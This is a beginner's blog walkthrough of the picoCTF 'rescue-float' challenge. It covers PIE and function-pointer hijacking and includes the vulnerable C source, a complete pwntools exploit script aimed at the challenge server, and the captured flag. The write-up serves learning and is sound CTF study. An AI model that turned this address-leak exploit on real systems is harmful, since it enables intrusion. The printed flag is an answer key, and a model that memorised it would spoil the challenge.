Binary Exploitation Challenge (PIE & Function Hijacking in picoCTF)

I’ve always been fascinated by low-level programming and security, but up until now I hadn’t really tried a binary exploitation challenge. Recently, I stumbled upon this picoCTF challenge called “rescue-float” — and let me tell you, it was a mix of confusion, discovery, and a little bit of victory at the end.

This post is a casual walkthrough of how I approached it as a beginner. If you’re into Linux, development, or cybersecurity, you’ll probably find this fun (or at least relatable if you remember your first binary exploitation adventure).

The Challenge Setup

We’re given a binary and its source code. The task is to “try to get the flag” while keeping in mind that PIE (Position Independent Executable) is enabled.

When you run the binary, it prints the address of main and asks for an address to jump to:

$ ./vuln
Address of main: 0x55709267a33d
Enter the address to jump to, ex => 0x12345: 0x80
Your input: 80
Segfault Occurred, incorrect address.

On the remote server, the behavior is the same — except the addresses are totally different each time. That got me thinking: what’s going on here?

First Observations

Digging into the binary with strings, I spotted something very interesting:

Segfault Occurred, incorrect address.
You won!
flag.txt
Cannot open file.

That "You won!" string was a big clue. Clearly, there’s a win() function hidden in there that we need to call instead of crashing.

So the real trick is figuring out the runtime address of win().

A Quick Detour: What’s PIE?

At first, I thought PIE was about pie (yes, 3.14 🍰). Turns out, PIE stands for Position Independent Executable.

In simple terms: every time you run the program, its code is loaded into a different random memory location. That means addresses of functions like main() or win() change constantly.

To exploit it, you need to:

  1. Leak one known address (in this case, the program conveniently prints the address of main()).
  2. Use that to calculate the base address of the binary in memory.
  3. From there, compute the real address of win().

Peeking at the Source

Here’s the core of the challenge:

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0);

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

Yep, the program literally takes your input, interprets it as a function pointer, and jumps there. If you guess wrong? Segfault. Guess right? Profit.

Exploit Development (with Pwntools)

I used pwntools, which makes life much easier for challenges like this. The plan:

  1. Leak the runtime address of main.
  2. Compute the PIE base address.
  3. Add the offset of win() to get its actual address.
  4. Send that address back as input.

Here’s the final script:

from pwn import *

HOST = "rescued-float.picoctf.net"
PORT = 63489  # (check challenge for actual port)

elf = context.binary = ELF("./vuln")
p = remote(HOST, PORT)

# Leak main()
p.recvuntil(b"Address of main: ")
leaked_main = int(p.recvline().strip(), 16)
log.info(f"Leaked main: {hex(leaked_main)}")

# Compute PIE base
pie_base = leaked_main - elf.sym['main']
elf.address = pie_base
log.info(f"PIE base: {hex(pie_base)}")

# Compute win()
win_addr = elf.sym['win']
log.success(f"win() at: {hex(win_addr)}")

# Send it
p.recvuntil(b"Enter the address to jump to")
p.sendline(hex(win_addr).encode())

# Get the flag
print(p.recvall().decode(errors="ignore"))

And boom — the output:

You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_cb52e722}

Reflections

Honestly, this was overwhelming at first. I had to Google like crazy, read about PIE, function pointers, and pwntools usage. But that’s the fun part — these challenges force you to learn by doing.

Key takeaways for me:

  • PIE randomizes addresses, but once you leak one function’s address, you can recover the rest.
  • Binary exploitation isn’t always about buffer overflows. Sometimes, the vulnerability is right in front of you (like letting the user call any address they want).
  • Pwntools is an absolute lifesaver.

Final Thoughts

If you’re new to binary exploitation like me, this challenge is a fantastic first step. You’ll get a feel for memory addresses, PIE, and how attackers chain small leaks into bigger exploits.

Also, remember: it’s okay to feel lost at first. Every expert you admire in Linux, development, or security once stared at a disassembly dump and thought, “What on earth is this?”

The best advice? Keep poking, keep experimenting, and don’t be afraid to Google shamelessly.